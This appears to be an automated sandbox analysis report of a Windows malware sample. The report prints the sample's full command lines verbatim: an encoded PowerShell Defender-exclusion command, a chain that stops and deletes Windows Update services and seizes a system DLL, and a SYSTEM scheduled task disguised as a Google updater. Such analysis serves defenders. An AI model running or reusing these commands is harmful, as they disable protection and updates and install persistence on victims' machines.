Analysis
-
max time kernel
42s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
10-05-2022 04:50
Static task
static1
Behavioral task
behavioral1
Sample
465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe
Resource
win7-20220414-en
General
-
Target
465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe
-
Size
2.0MB
-
MD5
79dbc1a54d33366681f1e926d565cad4
-
SHA1
907cf0ec6784bf140f9759d6931d3697da0fc229
-
SHA256
465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0
-
SHA512
6d66ae7edc6028e8bc1eac9caf85f5d2d38a6c000e5fa907c9eec5786b225aeeb7c0b565bee9aa7b09f6f792d0857e3d06f0e3ed832d73047506a18ce15371dd
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
takeown.exeicacls.exepid process 1244 takeown.exe 1980 icacls.exe -
Stops running service(s) 3 TTPs
-
Modifies file permissions 1 TTPs 2 IoCs
Processes:
takeown.exeicacls.exepid process 1244 takeown.exe 1980 icacls.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Program Files directory 2 IoCs
Processes:
conhost.exedescription ioc process File created C:\Program Files\Windows\services.exe conhost.exe File opened for modification C:\Program Files\Windows\services.exe conhost.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry key 1 TTPs 9 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 916 reg.exe 1224 reg.exe 1676 reg.exe 1664 reg.exe 432 reg.exe 560 reg.exe 1088 reg.exe 1016 reg.exe 976 reg.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.execonhost.exepid process 1600 powershell.exe 1212 conhost.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.execonhost.exetakeown.exedescription pid process Token: SeDebugPrivilege 1600 powershell.exe Token: SeDebugPrivilege 1212 conhost.exe Token: SeTakeOwnershipPrivilege 1244 takeown.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.execonhost.execmd.execmd.execmd.exedescription pid process target process PID 556 wrote to memory of 1212 556 465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe conhost.exe PID 556 wrote to memory of 1212 556 465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe conhost.exe PID 556 wrote to memory of 1212 556 465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe conhost.exe PID 556 wrote to memory of 1212 556 465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe conhost.exe PID 1212 wrote to memory of 956 1212 conhost.exe cmd.exe PID 1212 wrote to memory of 956 1212 conhost.exe cmd.exe PID 1212 wrote to memory of 956 1212 conhost.exe cmd.exe PID 956 wrote to memory of 1600 956 cmd.exe powershell.exe PID 956 wrote to memory of 1600 956 cmd.exe powershell.exe PID 956 wrote to memory of 1600 956 cmd.exe powershell.exe PID 1212 wrote to memory of 1516 1212 conhost.exe cmd.exe PID 1212 wrote to memory of 1516 1212 conhost.exe cmd.exe PID 1212 wrote to memory of 1516 1212 conhost.exe cmd.exe PID 1516 wrote to memory of 1492 1516 cmd.exe sc.exe PID 1516 wrote to memory of 1492 1516 cmd.exe sc.exe PID 1516 wrote to memory of 1492 1516 cmd.exe sc.exe PID 1516 wrote to memory of 576 1516 cmd.exe sc.exe PID 1516 wrote to memory of 576 1516 cmd.exe sc.exe PID 1516 wrote to memory of 576 1516 cmd.exe sc.exe PID 1516 wrote to memory of 568 1516 cmd.exe sc.exe PID 1516 wrote to memory of 568 1516 cmd.exe sc.exe PID 1516 wrote to memory of 568 1516 cmd.exe sc.exe PID 1516 wrote to memory of 1888 1516 cmd.exe sc.exe PID 1516 wrote to memory of 1888 1516 cmd.exe sc.exe PID 1516 wrote to memory of 1888 1516 cmd.exe sc.exe PID 1516 wrote to memory of 324 1516 cmd.exe sc.exe PID 1516 wrote to memory of 324 1516 cmd.exe sc.exe PID 1516 wrote to memory of 324 1516 cmd.exe sc.exe PID 1516 wrote to memory of 916 1516 cmd.exe reg.exe PID 1516 wrote to memory of 916 1516 cmd.exe reg.exe PID 1516 wrote to memory of 916 1516 cmd.exe reg.exe PID 1516 wrote to memory of 432 1516 cmd.exe reg.exe PID 1516 wrote to memory of 432 1516 cmd.exe reg.exe PID 1516 wrote to memory of 432 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1224 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1224 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1224 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1676 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1676 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1676 1516 cmd.exe reg.exe PID 1516 wrote to memory of 560 1516 cmd.exe reg.exe PID 1516 wrote to memory of 560 1516 cmd.exe reg.exe PID 1516 wrote to memory of 560 1516 cmd.exe reg.exe PID 1212 wrote to memory of 660 1212 conhost.exe cmd.exe PID 1212 wrote to memory of 660 1212 conhost.exe cmd.exe PID 1212 wrote to memory of 660 1212 conhost.exe cmd.exe PID 1516 wrote to memory of 1244 1516 cmd.exe takeown.exe PID 1516 wrote to memory of 1244 1516 cmd.exe takeown.exe PID 1516 wrote to memory of 1244 1516 cmd.exe takeown.exe PID 1516 wrote to memory of 1980 1516 cmd.exe icacls.exe PID 1516 wrote to memory of 1980 1516 cmd.exe icacls.exe PID 1516 wrote to memory of 1980 1516 cmd.exe icacls.exe PID 660 wrote to memory of 1500 660 cmd.exe schtasks.exe PID 660 wrote to memory of 1500 660 cmd.exe schtasks.exe PID 660 wrote to memory of 1500 660 cmd.exe schtasks.exe PID 1516 wrote to memory of 1664 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1664 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1664 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1088 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1088 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1088 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1016 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1016 1516 cmd.exe reg.exe PID 1516 wrote to memory of 1016 1516 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe"C:\Users\Admin\AppData\Local\Temp\465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe"2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGgAdAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAcQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBsAHEAdgBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAaABmACMAPgA="3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAGgAdAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAcQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBsAHEAdgBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAaABmACMAPgA="4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
-
C:\Windows\system32\sc.exesc stop bits4⤵
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "GoogleUpdateTaskMachineQC"4⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {CB625C29-8ADB-4FED-8569-4069FE6D00AF} S-1-5-18:NT AUTHORITY\System:Service:1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/324-69-0x0000000000000000-mapping.dmp
-
memory/432-71-0x0000000000000000-mapping.dmp
-
memory/560-74-0x0000000000000000-mapping.dmp
-
memory/568-67-0x0000000000000000-mapping.dmp
-
memory/576-66-0x0000000000000000-mapping.dmp
-
memory/660-75-0x0000000000000000-mapping.dmp
-
memory/908-89-0x0000000000000000-mapping.dmp
-
memory/916-70-0x0000000000000000-mapping.dmp
-
memory/956-56-0x0000000000000000-mapping.dmp
-
memory/976-82-0x0000000000000000-mapping.dmp
-
memory/1016-81-0x0000000000000000-mapping.dmp
-
memory/1032-86-0x0000000000000000-mapping.dmp
-
memory/1088-80-0x0000000000000000-mapping.dmp
-
memory/1212-61-0x0000000000200000-0x00000000003DD000-memory.dmpFilesize
1.9MB
-
memory/1212-54-0x000000001B220000-0x000000001B3FC000-memory.dmpFilesize
1.9MB
-
memory/1212-55-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmpFilesize
8KB
-
memory/1224-72-0x0000000000000000-mapping.dmp
-
memory/1244-76-0x0000000000000000-mapping.dmp
-
memory/1264-84-0x0000000000000000-mapping.dmp
-
memory/1332-83-0x0000000000000000-mapping.dmp
-
memory/1492-65-0x0000000000000000-mapping.dmp
-
memory/1500-78-0x0000000000000000-mapping.dmp
-
memory/1516-64-0x0000000000000000-mapping.dmp
-
memory/1528-91-0x0000000000000000-mapping.dmp
-
memory/1536-90-0x0000000000000000-mapping.dmp
-
memory/1588-85-0x0000000000000000-mapping.dmp
-
memory/1600-57-0x0000000000000000-mapping.dmp
-
memory/1600-63-0x000000000256B000-0x000000000258A000-memory.dmpFilesize
124KB
-
memory/1600-60-0x000000001B710000-0x000000001BA0F000-memory.dmpFilesize
3.0MB
-
memory/1600-62-0x0000000002564000-0x0000000002567000-memory.dmpFilesize
12KB
-
memory/1600-59-0x000007FEED2D0000-0x000007FEEDE2D000-memory.dmpFilesize
11.4MB
-
memory/1664-79-0x0000000000000000-mapping.dmp
-
memory/1668-88-0x0000000000000000-mapping.dmp
-
memory/1676-73-0x0000000000000000-mapping.dmp
-
memory/1748-87-0x0000000000000000-mapping.dmp
-
memory/1888-68-0x0000000000000000-mapping.dmp
-
memory/1980-77-0x0000000000000000-mapping.dmp